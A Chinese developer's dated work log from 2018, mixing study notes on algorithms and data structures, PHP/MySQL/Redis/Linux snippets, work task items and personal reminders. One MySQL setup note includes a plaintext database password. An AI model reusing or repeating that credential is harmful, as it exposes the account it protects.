3.Serverless 并不意味着没有服务器,只是服务器以特定功能的第三方服务的形式存在
4.使用区块链来做防伪溯源
5.微服务 云平台 区块链 大数据 人工智能
==========================================================================
2018年9月7日 记录:
合并两个排序的链表,已解决
北医三院中午11点
==========================================================================
2018年9月6日 记录:
重建二叉树,输入二叉树前序(中左右)和中序遍历(左中右)的结果,重建出二叉树:
找到中序的根结点,中序根结点左边的都是左孩子,右边的都是右孩子
==========================================================================
2018年9月5日 记录:
鲁棒性:程序在非正常情况下(输入不符合规定等)不会出错或崩溃
反转链表:
1.常见方法分为迭代和递归,迭代是从头到尾,递归是从尾到头
2.设置两个指针,old和new,每一项添加在new的后面,新链表头指针指向新的链表头
3.old->next不能直接指向new,而是应该设置一个临时指针tmp,指向old->next指向的地址空间,保存原链表数据,然后old->next指向new,new往前移动到old处new=old,最后old=tmp取回数据
while(old!=null){
tmp=old->next
old->next=new
new=old
old=tmp
}
推荐的书:
深入理解计算机系统、现代操作系统、C程序设计语言、C语言数据结构和算法、Unix环境高级编程、TCP/IP网络通信详解
算法导论,大话数据结构,剑指offer
Java面向对象编程、Java编程思想、J2EE
PHP5权威编程
深入理解计算机系统:
第五章 优化程序性能 Optimizing Program Performance
第六章 存储器层次结构 The Memory Hierarchy
第八章 异常控制流 Exceptional Control Flow
第九章 虚拟存储器 Virtual Memory
==========================================================================
2018年9月4日 记录:
上传图片接口:
$file = $_FILES[$name];
$attarr["content"] = file_get_contents($file["tmp_name"]);
倒排索引-最基础的搜索技术:
1.例如一张单词表,单词和对应的文章id编号,单词表是有序的
2.索引表的通用结构:次关键字(单词) 记录号表(文章编号)
3.不是通过记录确定属性值,而是通过属性值确定记录的位置因此成为倒排索引
4.维护比较困难,插入和删除操作都要做相应的处理
二叉排序树
1.有序线性表,因为要维护顺序,插入和删除操作耗费很多时间
2.左子树小于中根结点,右子树大于中根结点,插入和删除效率更高
3.在插入删除的时候,顺序表需要移动很多元素,二叉树不会
多路查找树(B树)
1.善于使用文字的人,通常是深沉而严谨的
2.从磁盘上进行不断的数据处理,为了降低对外存设备的访问次数,需要新的数据结构
3.每一个结点孩子数多于两个,每个结点存储多个元素,所有元素存在某种特定排序关系
4.四种特殊形式:2-3树 2-3-4树 b树 b+树
2-3树:
1.2结点包含一个元素和两个孩子,与二叉搜索树类似,但是要么没有孩子,要么就有两个
2.3结点包含一小一大两个元素和三个孩子,
剑指offer
1.二维数组中查找,从左下角开始查找,当要查找数字比左下角数字大时。右移,要查找数字比左下角数字小时,上移
2.输入一个链表,输出该链表中倒数第k个结点。第一个指针走(k-1)步,到达第k个节点,两个指针同时往后移动,当第一个结点到达末尾的时候,第二个结点所在位置就是倒数第k个节点了
==========================================================================
2018年9月3日 记录:
上线企邮客户端
上线pop代收的redis
二分查找的过程是一棵二叉树
1.最坏情况lgn+1,最好情况1,最终是O(lgn)
2.前提条件是需要有序表顺序存储,对于频繁插入和删除的不建议使用
插值查找:
1.为什么是折半而不是折四分之一或更多,每次都一半有点效率低了
2.改进mid=low+1/2(hign-low)
3.mid=low+(key-a[low])/(a[hign]-a[low])(hign-low) 插值查找法
4.对于表长较大,关键字分布又比较均匀的查找表,插值比折半高的多
斐波那契查找
1.利用黄金分割原理
2.low=1;hign=n;while(n>f[k]-1){k++}
线性索引查找:
索引就是把一个关键字与它对应的记录关联的过程,每个索引项至少包含关键字和对应记录在存储器中的位置,组织大型数据库以及磁盘文件的一种重要技术
按照结构:线性索引,树形索引,多级索引
三种线性索引:稠密索引,分块索引,倒排索引
稠密索引:将数据集中的每个记录对应一个索引项,一定是按照关键码有序的排列
分块索引:块内无序,块间有序,第二块比第一块所有都大,块间有序可以提升效率,每一块对应一个索引项,分块索引表.先二分或者插值查找分块,然后在分块内部进行顺序查找
分块索引的三个数据项
1.最大关键码,之后的块在比较的时候方便
2.块中存储的记录个数,方便循环
3.指向块首数据元素的指针,便于对记录进行遍历
master进程主要用来管理worker进程,具体包括如下4个主要功能:
(1)接收来自外界的信号。
(2)向各worker进程发送信号。
(3)监控woker进程的运行状态。
(4)当woker进程退出后(异常情况下),会自动重新启动新的woker进程
==========================================================================
2018年8月31日 记录:
open_basedir 将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。
顺序表查找:
for(i=1;i<=n;i++){a[i]==key return}
顺序表查找的优化:
解决每次都要对i是否小于n作比较,设置一个哨兵,如果查找失败,一定会在结尾a[0]处等于key,此时返回0;免去了每次都判断是否越界
a[0]=key;i=n;while(a[i]!=key){i--}
有序表查找:
2.折半查找:取中间记录的查找方法,又称为二分查找.前提是线性表中的记录必须是有序的,取中间记录作为比较对象,若关键字相等则查找成功,若小于则在左半区查找,若大于则在右半区查找
left mid right
while(left
mid=(left+right)/2
if(key else if(key>a[mid]){left=mid+1}
else{return mid}
}return 0
==========================================================================
2018年8月30日 记录:
PHP读取命令行输入:
$handle=fopen("php://stdin","r");
$line=fgets($handle);
前序遍历生成二叉树
function createBinTree(){
$handle=fopen("php://stdin","r");
$e=trim(fgets($handle));
var_dump($e);
if($e=="#"){
$binTree=null;
}else{
$binTree=new BinTree();
$binTree->data=$e;
$binTree->left=createBinTree();
$binTree->right=createBinTree();
}
return $binTree;
}
查看两个段是否有交集:
public static function isIntersect($oldIps,$newIps){
if($newIps[0]>$newIps[1]){
return false;
}
foreach($oldIps as $old){
if($old[0]<=$newIps[0] && $newIps[0]<=$old[1]){
return false;
}
if($old[0]<=$newIps[1] && $newIps[1]<=$old[1]){
return false;
}
if($newIps[0]<=$old[0] && $old[1]<=$newIps[1]){
return false;
}
}
return true;
}
查找:根据给定的某个值,在查找表中确定一个其关键字等于给定值的数据元素
查找表:同一类型的数据元素构成的集合
关键字:数据元素中某个数据项的值,又称为键值,可以唯一标识一个记录,称为主关键字
主关键码:主关键字所在的数据项
次关键字:可以识别多个数据元素或记录
查找表按照操作方式分为:静态查找表和动态查找表
静态查找表:只查找操作的查找表,查询某元素是否在查找表中,查询某元素的属性等
动态查找表:在查找过程中同时插入查找表中不存在的数据元素,或者删除已存在的元素
查找结构:专门为查找操作设置的数据结构,为了提高查找扥性能,在存储时可以将查找组织成表和树等结构
1.顺序表查找:
科目二坡起溜车,倒车入库压左边线
==========================================================================
2018年8月29日 记录:
二叉树的建立:
将二叉树中每个结点的空指针引出一个虚结点,其值为特定值#,处理二叉树为原二叉树的扩展二叉树,扩展二叉树做到一个遍历序列确定一棵二叉树
下午考科二
==========================================================================
2018年8月28日 记录:
企邮pop代收redis队列改造:
企邮官网海外提示
创建一个循环链表
//头结点指向自身
$linkList->next=$linkList;
//最后一个结点指向头结点
$node->next=$linkList;
明天下午考科目二:
1.身份证
2.安全带
3.身子对准两条红色线
==========================================================================
2018年8月27日 记录:
logo图:
width: 330px;
height: 50px;
背景图
width: 500px;
height: 350px;
$list=new Node();
$list->next=null;
$temp=$list;
for($i=0;$i<10;$i++){
$node=new Node();
$node->data="aaa{$i}";
$node->next=null;
$temp->next=$node;
$temp=$node;
}
链表获取元素
1.声明结点p指向链表第一个结点,j初始化1开始
2.j3.如果到末尾了,p还为null,就是没有查找到
插入元素
1.插入元素和查找类似,找到位置后
2.生成新的结点s, s->next=p->next p->next=s;
删除元素
1.删除元素,找到位置后
2.绕过一下,q=p->next p->next=q->next;
明天早上8点龙泉驾校考前集训
后天下午科目二考试
==========================================================================
2018年8月24日 记录:
企邮api调用客服token
树转换成二叉树:
1.加线,所有兄弟节点间加一条连线
2.去线,只保留它与第一个孩子结点的连线,删除与其他孩子结点的连线
3.层次调整,以树的根结点为轴心,将整棵树顺时针旋转一定的角度
4.第一个孩子是二叉树结点的左孩子,兄弟转换过来的孩子是结点的右孩子
5.森林转换成二叉树,可以理解为森林里的每棵树都是兄弟
二叉树转换成树
1.加线,若某结点的左孩子结点存在,就把这个左孩子的右孩子结点和该结点相连
2.去线,删除原二叉树中所有结点与其右孩子结点的连线
3.二叉树转换成森林,从根结点开始,若右孩子存在,就把之间的连线删除
树的遍历分为先根遍历和后根遍历
1.先访问根结点,依次先根遍历树的每颗子树
2.后根遍历,先依次后根遍历每棵子树,再访问根结点
赫夫曼编码-最基本的压缩编码方法
赫夫曼树-叶子结点带权的二叉树
线性表的顺序存储结构,在内存中找一块地,通过占位的形式,把一定的内存空间给占了,一维数组来实现顺序存储结构
三个属性,数组data,数组长度MAX_SIZE,当前长度length
PHP中的数组实际上是有序映射,可以当成数组,列表,散列表,字典,集合,栈,队列,不是固定的长度
2.数组定义中多个单元都使用了同一个键名,则只使用了最后一个,之前的都被覆盖了
3.想要函数的一个参数总是通过引用传递,可以在函数定义中该参数的前面加上符号 &
4.PHP 的引用是别名,就是两个不同的变量名字指向相同的内容;“默认情况下对象是通过引用传递的”。但其实这不是完全正确的,当对象作为参数传递,作为结果返回,或者赋值给另外一个变量,另外一个变量跟原来的不是引用的关系,只是他们都保存着同一个标识符的拷贝
==========================================================================
2018年8月23日 记录:
分治依托于递归,分治是一种思想,而递归是一种手段,递归式可以刻画分治算法的时间复杂度。
分治策略求解递归式方法:
1.代入法,递归树法,主方法
最大子数组问题:
给定一个连续的数值数组,找出其中连续的求和为最大的子数组
漢語拼音 Tao Shi Han Tau Shihan
注音二式 Tau Shr Han
通用拼音 Tao Shih Han
威妥瑪拼音 T'ao Shih Han
耶魯拼音 Tau Shr Han
==========================================================================
2018年8月22日 记录:
echo `date` ls==2 >> 1.log
date|xargs echo ls==2>> 1.log
xargs命令是给其他命令传递参数的一个过滤器,也是组合多个命令的一个工具,将标准输入数据转换成命令行参数,xargs能够处理管道或者stdin并将其转换成特定命令的命令参数,xargs是构建单行命令的重要组件之一
算法导论:
1.2-1 给出应用层需要算法内容的应用的一个例子,并讨论涉及的算法的功能:数据库应用,快速查找与排序
1.2-2插入排序和归并排序在相同机器上的实现,规模为n的输入,插入排序运行8n^2,归并排序需要64nlgn,问对哪些n值插入排序优于归并排序:
n^2 8nlgn进行比较 :40左右开始,归并排序会比较快
1.2-3 运行时间是100n^2小于2^n的点 :n是15的时候
分治策略:
分解,将问题划分为子问题,子问题形式与原问题一样,规模更小
解决,递归求解出子问题
合并,子问题的解组合成原问题的解
pow(x,y),pow() 函数返回 x 的 y 次方。
log() 自然对数。以E为底
log10() 以 10 为底的对数。
自然对数以常数e为底数的对数,记作lnN(N>0)
对数函数lg,是以10为底的对数(常用对数),如lg 10=1,lg即为log10
阶乘指从1乘以2乘以3乘以4一直乘到所要求的数
明天预约科目二考试:
1.身份证必须带
2.安全带必须系
mysql_select_db("byzx",$con);
$res=mysql_query("drop table test");
$res=mysql_query("create table test (id int)");
var_dump(mysql_error());
==========================================================================
2018年8月21日 记录:
仲裁邮箱邮件目录数量问题上线
==========================================================================
2018年8月20日 记录:
中序遍历加线索化二叉树,递归实现:
InThreading(p->lchild);如果没有左孩子,p->lchild=pre
如果前驱没有右孩子,pre->rchild=p;因为此时还没有访问到后继,InThreading(p->rchild);pre=p,以便下次使用
如果所采用的二叉树需要经常遍历或查找结点时需要某种遍历序列中的前驱和后继,采用线索二叉链表存储结构非常不错
1.区块链 = 链成一串的区块集合,区块ID,上一个区块的ID,生成时间,数据,区块散列值
2.非对称加密,公钥加密,私钥解密;公钥加密后私钥解密转给别人
3.面向对象、解耦,这些手段只能增强系统可维护性,对性能反而会有细微的损耗,从没听说过还能提升性能,如果是数据库的问题,从数据库层面来解决,只留下必须由客户端处理的小部分
==========================================================================
2018年8月17日 记录:
date当前日期: echo `date +%Y%m%d`
排序 渐进表示 分治法 概率分析 线性规划 最短路径 动态规划最长公共子序列
2.拓扑排序 求凸壳顶点的好方法
3.NP完全问题没有有效算法但是有近似算法
4.插入排序n^2 归并排序大致nlgn,因子n*n 比较 n*lgn,后者要小得多;规模小的时候插入比归并快,超出这个交叉点归并排序更快
log2n当n是1000的时候,lgn大致等于10
Redis Desktop Manager (aka RDM) — is a fast open source Redis database management application for Windows, Linux and MacOS.
==========================================================================
2018年8月16日 记录:
filter_var — 使用特定的过滤器过滤一个变量
var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
线索二叉树:
1.每个结点增设两个标志域ltag,rtag只是存放0和1,lchild ltag data rtag rchild
2.ltag为0指向左孩子,1指向前驱;rtag为0指向右孩子,1指向后继
3.线索化的过程就是遍历过程中修改空指针的过程
==========================================================================
2018年8月15日 记录:
thinkphp的重写去掉index.php,一般重写成index.php?s=$1,index.php?s=/admin/index
组件:
1.大型框架很难集成自定义的库或第三方库的日子一去不复返了
2.从不断增多的大量专用组件中选择合适的
线索二叉树:
1.有n个结点的二叉链表,一共是2n个指针域,有n-1个分叉线,有2n-(n-1)=n+1个空指针域非常的浪费
2.利用空地址存放指向结点在某种遍历次序下的前驱和后继结点的地址
3.把这种指向前驱和后继的指针称为线索,加上线索的二叉链表称为线索链表,相应的二叉树称为线索二叉树
4.所有空指针域中的lchild指向前驱,rchild指向后继结点,将一棵二叉树转变成了双向链表,这就是线索化
==========================================================================
2018年8月14日 记录:
二叉链表:
1.链式存储结构.每个结点有两个孩子,设计一个数据域,两个指针域,叫做二叉链表
2.遍历二叉树
二叉树的遍历:从根结点出发,按照某种次序依次访问二叉树中的所有结点,每个结点仅被访问一次[访问和次序],对于计算机来说它只会处理线性序列
前序遍历:先访问根结点,前序遍历左子树,前序遍历右子树;中左右
中序遍历:左中右 preOrderFunc(T->lchild);printf("%c",T->data);preOrderFunc(T->rchild)
后序遍历:左右中 preOrderFunc(T->lchild);preOrderFunc(T->rchild);printf("%c",T->data);
层序遍历:一层层的遍历
前序遍历递归代码:printf("%c",T->data);preOrderFunc(T->lchild);preOrderFunc(T->rchild)
推导遍历结果:
前序abcdef(中左右) 中序cbaedf(左中右) 后序遍历结果是多少(左右中) cbefda
a
b d
c e f
中序abcdefg 后序bdcafge 前序 eacbdgf
e
a g
c f
b d
1.已知前中可以唯一确定一颗二叉树
2.已知后中可以唯一确定一棵二叉树
3.已知前后不能确定一棵二叉树
二叉树创建:
利用递归的原理,只不过在原来打印结点的地方,改成了生成结点,给结点赋值的操作
if(ch=='#'){*T=NULL;}else{malloc();(*T)->data=ch;createFunc((*T)->lchild);createFunc((*T)->rchild);}
分布式之数据库和缓存双写一致性:
1.缓存设置过期时间
2.先更新数据库,再更新缓存
3.先更新数据库,再删除缓存
4.先删除缓存,再更新数据库
php:// — 访问各个输入/输出流(I/O streams)
==========================================================================
2018年8月13日 记录:
上线企邮客服限制企业后的个人发信限制
科目二早上学车已挂,
1.没有带身份证
2.没有系安全带
3.定点停车离右边太远
4.速度太快曲线行驶压线
==========================================================================
2018年8月10日 记录:
企邮群发助手脚本降低发统计邮件频率
//工作时间
$nowHour=intval(date("H",time()));
$sendMonitor=false;
if(9<$nowHour && $nowHour<18){
$rand=rand(0,2);
if($rand==0){
$sendMonitor=true;
}
}
完全二叉树的顺序存储,存到一维数组中,相应的下标存入到同样的位置
2.一般的二叉树,也可以按上面的存储,但是空的地方设置为^表示不存在,但是对于斜树不同
nginx thinkphp
index index.html index.htm index.php;
11 if (!-e $request_filename) {
12 rewrite ^/(.*)$ /index.php?s=$1 last;
13 break;
14 }
15 location ~ \.php$ {
16 fastcgi_pass 127.0.0.1:9000;
17 fastcgi_index index.php;
18 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
19 include fastcgi_params;
20 fastcgi_split_path_info ^(.+\.php)(/.*)$;
21 fastcgi_param PATH_INFO $fastcgi_path_info;
22 }
彼之蜜糖 吾之砒霜
https://www.cnblogs.com/sherrywasp/p/9436623.html
==========================================================================
2018年8月9日 记录:
性状可以把模块化的实现方式注入多个无关的类中,介于类和接口之间的
trait MyTrait{},建议一个文件只定义一个性状,导入是在类定义体内use MyTait
2.DRY原则Dont Repeat Yourself
3.spl_autoload_register()实现了各自特有的自动加载器
PSR-1:基本的代码风格,PSR-2严格的代码风格,PSR-3日志记录器接口,PSR-4自动加载(命名空间前缀与文件目录对应起来)
4.zend opcache php内置的字节码缓存,php解释器不需要每次都读取 解析和编译php代码,会从内存中读取预先编译好的字节码,需要配置扩展和php.ini
==========================================================================
2018年8月8日 记录:
PHP引擎,Zend Engine HipHopVM(Facebook开发的,使用即时编译器JIT提升性能) Hack语言(静态类型,新的数据结构,额外的接口)
2.命名空间:按照一种虚拟的层次结构组织代码,类似 操作系统的文件目录结构,子命名空间用\分割,PHP解释器会将其作为前缀加到类等前面,现代PHP组件系统的基础,namespace T;
3.使用use关键字导入时无需在头加开\,PHP假定导入的是完全限定的命名空间
4.use func导入函数,use constant导入常量
5.命名空间为PHP Framework Interop Group(PHP-FIG)制定的PSR-4自动加载器标准奠定基础
6.PHP接口是两个对象之间的契约,都实现了同样的接口
addDocument(Documentable $document),Documentable是个接口定义了两个公开方法
7.
==========================================================================
2018年8月7日 记录:
安装php的redis扩展
yum install php-redis
如何设置一个严格30分钟过期的Session
通过 session_save_path() 来获取session文件的存储位置。然后依次读取每个文件并反序列化。
把session写到memcache或数据库里
==========================================================================
2018年8月6日 记录:
mysql中时间戳转时间:
select *,FROM_UNIXTIME(send_time,'%Y年%m月%d') from mass_send_records order by id desc limit 30;
Vagrant是一个基于Ruby的工具,用于创建和部署虚拟化开发环境
==========================================================================
2018年8月3日 记录:
二叉树:n个结点的有限集合,根结点的左子树和右子树组成,查找起来效率特别高
1.每个结点最多有两颗子树
2.左子树和右子树都是有顺序的,次序不能颠倒
3.即使只有一棵树,也要区分左子树和右子树
4.斜树,左斜树,右斜树,每一层只有一个结点
5.满二叉树,很完美,所有的分支结点都存在左子树,右子树,所有叶子在同一层
6.完全二叉树,按层序编号,结点位置和满二叉树一致,按层序标号不能有空档
二叉树的性质:
1.第i层上,最多有2的i-1次方个结点
2.深度为k,最多有2的k次方-1个结点
3.终端结点数是n0,度为2的结点数是n2则n0=n2+1
4.具有n个结点的完全二叉树的深度为[log2n]+1
二叉树的存储结构:
1.顺序存储结构也可以实现存储二叉树,将二叉树上的结点按照层序编号,顺序存储在一维数组中,一般存完全二叉树最合适,其他的二叉树会有空间浪费
2.
==========================================================================
2018年8月2日 记录:
孩子双亲表示法:
1.设计两种结点结构,孩子链表的孩子结点child和next和parent
2.表头数组的表头结点,data和firstchild
==========================================================================
2018年8月1日 记录:
linux的ss命令 socket statistics,默认输出tcp, udp, and unix socket 三种类型的连接
ss -tnl查看监听的端口 -p显示进程
2.namespace 是 Linux 内核用来隔离内核资源的方式,为 docker 等容器技术的出现和发展提供了基础条件
==========================================================================
2018年7月31日 记录:
树中结点的最大层次称为树的深度
2.树中结点的各子树看成从左之右是有次序的,不能互换的,则称该树为有序树,否则称为无序树
3.线性结构:第一个元素无前驱,最后一个无后继,中间一个前驱一个后后继
4.树结构:根节点无双亲,唯一;叶节点无孩子,可以多个;中间结点一个双亲多个孩子
5.树的抽象数据类型:
InitTree(*T):构造空树T
DestoryTree(*T):销毁树T
CreateTree(*T,definition):按definition中给出树的定义来构造树
TreeDepth(T):返回T的深度
Root(T):返回T的根节点
Value(T,cur_e):cur_e是树T中一个结点,返回该结点的值
Assign(T,cur_e,value):给树T的结点cur_e赋值为value
Parent(T,cur_e):返回cur_e的双亲
LeftChild(T,cur_e):返回cur_e的最左孩子
RightSibling(T,cur_e):返回cur_e的右兄弟
InsertChild(*T,*p,i,c):p指向T的某个结点,i为所指结点p的度加上1
DeleteChild(*T,*p,i):删除T中p所指结点的第i个子树
树的存储结构:顺序存储结构和链式存储结构都可以实现对树的存储结构的表示,双亲表示法,孩子表示法,孩子兄弟表示法
6.在每个结点中,附设一个指示器指示其双亲结点到链表中的位置,data和parent;根结点没有双亲,parent位置存-1;其他结点都有双亲位置
7.根据结点的parent指针找到双亲结点,时间复杂度是O(1),直到parent是-1,如果要知道某个结点的孩子,需要O(n)
8.可以把此结构扩展为双亲域,长子域,右兄弟域,存储结构的设计是很灵活的
9.孩子表示法,每个结点有多个指针域,每个指针指向一颗子树的根结点,多重链表表示法;树的每个结点的度,孩子个数是不同的.指针域的个数等于树的度,显然是很浪费空间的.第二种方案是每个结点指针域的个数等于该结点的度,data为数据域,degree为度域,child1到childd为指针域,这样运算上时间损耗
10.每个结点的孩子结点排列起来,以单链表存储,n个结点有n个孩子链表,n个头指针组成一个线性表用一维数组存储,设计两种结构:孩子链表的孩子结点,表头数组的表头结点
维生素B2不足:口角发炎,出现各种皮肤性疾病如皮肤炎等,手肢有灼热感觉,对光有过度敏感的反应等。应多进食肝脏、牛奶、鸡蛋、豆类、绿色蔬菜。维生素B2(核黄素)的主要食物来源为瘦肉、肝、蛋黄、糙米及绿叶蔬菜。小米含很多的维生素B2 。维生素B2对人体没有任何副作用,过量的维生素B2会从尿液中直接排出体外
==========================================================================
2018年7月30日 记录:
404页面更新
Linux的调度策略:
1.进程是操作系统虚拟出的概念,组织计算机中的任务,安排进程执行的模块称为调度器
2.进程状态, 就绪,执行,阻塞状态,调度器是CPU时间管理员,负责两件事:就绪进程来执行,执行中的进程打断成就绪状态.
3.上下文切换就是指进程在CPU中切换执行的过程,内核承担了上下文切换的任务
4.进程优先级是调度器分配CPU时间的依据,根据优先级分为实时进程和普通进程.0到99留给系统创建的实时进程,100到139是用户创建的普通进程,普通进程默认优先级120,使用nice命令修改,nice -n -20 ./app
5.Linux2.4是O(n)调度器,Linux2.6开始是O(1)调度器,O(n)调度器每个时间片开始时检查所有就绪进程,按优先级顺序执行.O(1)调度器使用两个队列来执行
6.完全公平调度器使用了红黑树的数据结构取代了O(1)调度器
==========================================================================
2018年7月27日 记录:
redis的内存统计:
redis-cli连接后使用info memory命令查看内存
redis数据存储的细节:内存分配器(jemalloc),简单动态字符串SDS,5种对象类型及内部编码,redisObject
树是n个结点(n>=0)的有限集,n=0时是空树,n>1时可分为m个互不相交的有限集,每一个集合本身是根的子树
1.n>0时根结点是唯一的 2.m>0时子树的个数没有限制,但一定互不相交
3.结点拥有的子树个数称为结点的度 , 度为0的结点称为叶结点或终端结点
==========================================================================
2018年7月26日 记录:
朴素的模式匹配:
1.对主串S做大循环,对字串T做小循环
2.S[0]和T[0]存长度,S[1]和T[1]是开始
while(i<=S[0]&&j<=T[0]) i=i-j+2 //i退回到上次匹配首位的下一位 j=1//j回第一位,当前位置if(j>T[0]) i-T[0]
3.时间复杂度,最简单的是O(1),平均O(n-m),最坏O((n-m+1)*m)
KMP模式匹配算法:
1.避免重复遍历
2.T串中的首字符与T后面的字符不相等,如果S串的首字符与T串的相等可以推断出后面的
仲裁邮箱前端页面显示问题:
图片的onerror事件使用:
==========================================================================
2018年7月25日 记录:
数据库创建提案
linux的 内存分页管理:
1.内存用内存地址来为每个字节的数据顺序编号,用十六进制数来表示内存地址
2.内存的编号有上限,与地址总线的位数有关,0x00000000到0xffffffff
3.内存的存储单元采用随机读取存储器RAM
4.进程并不能直接访问内存,只能访问虚拟内存地址,虚拟内存地址翻译成真实内存地址
5.每个进程都有自己的虚拟内存地址,给进程空间编号,两个进程可以有相同的虚拟内存地址
6.有了虚拟内存地址,可以方便实现内存共享,内核和共享库的映射实现
7.linux采用分页(paging)的方式来记录对应关系,以更大尺寸的单位页(page)来管理内存,通常每页大小为4KB,可以极大的减少内存对应关系
8.每个十六进制虚拟内存地址,前五个是页编号,后三个是偏移量,表达了该字节在页内的位置
9.分级分页表,进程空间页和物理页的对应关系记录在分页表中,多层分页表进一步切割页编号部分,分为两层或多层记录对应关系,就好像把完整的电话号码分成区号
串的链式存储结构不如顺序存储结构性能好,顺序存储结构,计算机中存在一个自由存储区,叫做"堆",可以由malloc()和free()来管理
2.朴素的模式匹配,字串的定位操作通常称为串的模式匹配
==========================================================================
2018年7月24日 记录:
linux进程的三态模型:
1.就绪状态:获得了除cpu之外的必要资源
2.执行状态:获得了cpu,正在执行
3.阻塞状态:等待某个事件发生而无法执行
使用@font-face调用服务器端字体的代码:
@font-face { font-family : name ; class="lazy" data-src : url( url ) ; sRules }
==========================================================================
2018年7月23日 记录:
仲裁邮箱分页功能实现
仲裁邮箱邮件目录功能实现
==========================================================================
2018年7月20日 记录:
登陆验证
2.前端效果
3.短信验证
4.发送短信
5.模板展示
==========================================================================
2018年7月19日 记录:
MySQL的flush privileges语法:
将当前user表的用户信息和privilige表的权限设置从mysql库(就是mysql数据库的内置库)提取到内存里
只允许内网用户访问:
update user set Host='172.16.%.%' where User='root';
查看PHP脚本的错误日志:
php -i|grep error
error_log => /var/log/php_errors.log => /var/log/php_errors.log
CI框架的分组的控制器里面必须得有__contruct方法
2.apache rewrite避免影响静态文件RewriteRule ^/([^\.]+)$ /web.php/$1
RewriteRule ^/((?!static).*) /web.php/$1 除了static目录以外的其他所有
==========================================================================
2018年7月18日 记录:
群发助手问题:
1.可能是目录删除后找不到文件导致的
2.删掉删文件的代码,从新设置时间间隔
何时需要建立索引
1.主键自动建立唯一索引。
2.频繁作为查询条件的字段应该创建索引。
3.查询中与其他表关联的字段,
4.外键关系建立索引。
5.频繁更新的字段不适合建立索引,因为更新不单单要跟新 数据还要跟新索引,加重了IO的负担。
6.where条件里用不到的字段不创建索引。
7.在高并发下推荐创建复合索引。
8.查询中排序的字段,排序字段如果通过索引去访问将大大提高排序速度。
9.查询中统计或分组字段。
(1)system:表示只有一行记录,一般不会出现,没有意义。
(2)const:表示通过索引一次就可以找到。
(3)eq_ref:唯一性索引扫描,对于每个索引键,表中只有一条数据与之对应。
(4)ref:非唯一性索引扫描,返回匹配的所有行。
(5)range:值检索给定范围的行,between、<>、in等。
(6)index:遍历所有索引。
(7)all:遍历全表
(1) Using filesort:文件内排序,说明mysql使用了外部排序。
(2) Using temporary:使用了保存中间结构。(order by 、group by)
(3) Using index:效率不错,表名使用了索引。
(4) Using where:
varchar(50),在4.1版本之前代表50个字节;之后的版本代表50个字符
char(50),最大字符个数50,尾部的空格会被删除;在进行检索的时候,char列会删除尾部的空格
==========================================================================
2018年7月17日 记录:
串的比较是通过字符之间的编码来进行的,字符编码指的是字符在对应字符集中的序号
2.s
StrAssign(T,*chars):生成一个值等于字符串常量chars的串T
StrCopy(T,S):串S存在,串S复制得串T
ClearString(S):串S存在,将串清空
StringEmpty(S):判断串S是否为空
StrLength(S):串S的长度
StrCompare(S,T):比较S和T,>0 <0 =0
Concat(T,S1,S2):用T返回S1和S2连接而成的新串
SubString(Sub,S,pos,len):用Sub返回串S从第pos位置起长度为len的字串
CentOS安装MySQL的默认密码:
1.yum install mysql mysql-sever
2.cat /var/log/mysqld.log |grep "temporary password"
3.set password=password('Tsh_203944_2');
==========================================================================
2018年7月16日 记录:
访问统计排行榜问题:
1.数据库持久化
写日志,每日汇总当天的插入记录
2.redis记录,使用哪个数据类型
使用Redis实现实时排行榜,使用有序集合zset实现,
ZADD key score1 member1 [score2 member2] 添加,如果已经存在就更新
ZRANGE key start stop [WITHSCORES] 获取前几名
ZSCORE key member 获取某用户的分数
==========================================================================
2018年7月13日 记录:
性能剖析工具new relic,可以全天候在生产环境中运行
2.xhprof,关注函数调用
3.ifp关注数据库调用,对应用程序的请求,数据的查询,缓存的查询,将计数器计时器输出到apache写入日志
4.开启慢查询日志,要注意部署日志轮换工具,或者只需要在收集样本期间开启
5.通过不断shou full processlist查看,通过tcpdump查看
5.将慢查询日志传入pt-query-digest 输出剖析报告
6.show profile;show profile for query 1
==========================================================================
2018年7月12日 记录:
IP登陆限制问题:
队列是先进先出的线性表,FIFO,允许插入的一端叫队尾,允许删除的一端队头
2.队列的抽象数据类型
InitQueue(*Q):初始化操作 QueueLength(Q):返回队列的长度
DestroyQueue(*Q):销毁队列 ClearQueue(*Q):清空队列 QueueEmpty(Q):判断队列是否为空
GetHead(Q,*e):用e返回队列的队头元素
EnQueue(*Q,e):插入e到队列的队尾元素
DeQueue(*Q,*e):删除队列的队头元素
3.引入两个指针front指向队头元素,rear指向队尾元素的下一个位置,队列顺序存储的不足,出队列时每个元素都移动,如果不移动会有假溢出问题
4.循环队列,把队列头尾相接的顺序存储结构,解决假溢出问题
5.单目运算符 >算术运算符 >移位 >比较 >按位 >逻辑 >三目运算符 >赋值运算符
6.快速排序:通过一趟排序将待排记录分隔成独立的两部分,其中一部分记录的关键字均比另一部分的关键字小,则可分别对这两部分记录继续进行排序
从数列中挑出一个元素,称为基准
重新排列数列,所有元素比基准小的放在基准前面,比基准大的放在基准后面,称为分区操作
递归的把基准值左边的和基准值右边的进行排序
pdo Mysql:
$sql ='select * from iplimit_white where ent_id=:ent_id and user_id=:user_id';
$sth=$db->prepare($sql);
$sth->execute(array(':ent_id'=>1,':user_id'=>2));
==========================================================================
2018年7月11日 记录:
php的heredoc技术:
<<
Eof;
栈与四则基本运算:
1.不需要括号的后缀表达式称为逆波兰表示,解决了程序实现四则运算的难题
2.所有符号都在要运算数字的后面出现,9 3 1 - 3*+10 2 /+,遍历表达式,遇到数字就进栈,遇到符号就将栈顶的两个数字出栈运算,结果进栈
3.后缀表达式的推导过程,9+(3-1)*3+10/2 ,若是数字就直接输出,若是符号则判断与栈顶的优先级,是右括号或优先级低于栈顶的,栈顶的依次出栈输出,当前符号进栈
对照七位的ASCII码表 控制符码值 < 大写字母码值 < 小写字母码值
3.文件的逻辑结构是用户可见结构:无结构的流式文件 ; 有结构的记录式文件
4.文件型病毒系计算机病毒的一种,主要通过感染计算机中的可执行文件(.exe)和命令文件(.com)
宏病毒是一种寄存在文档或模板的宏中的计算机病毒。
引导型病毒指寄生在磁盘引导区或主引导区的计算机病毒
5.七层网络协议:
应用层:HTTP FTP SMTP DNS Telnet HTTPS协议在HTTP协议的基础上,添加了SSl/TLS握手以及数据加密传输,也属于应用层协议
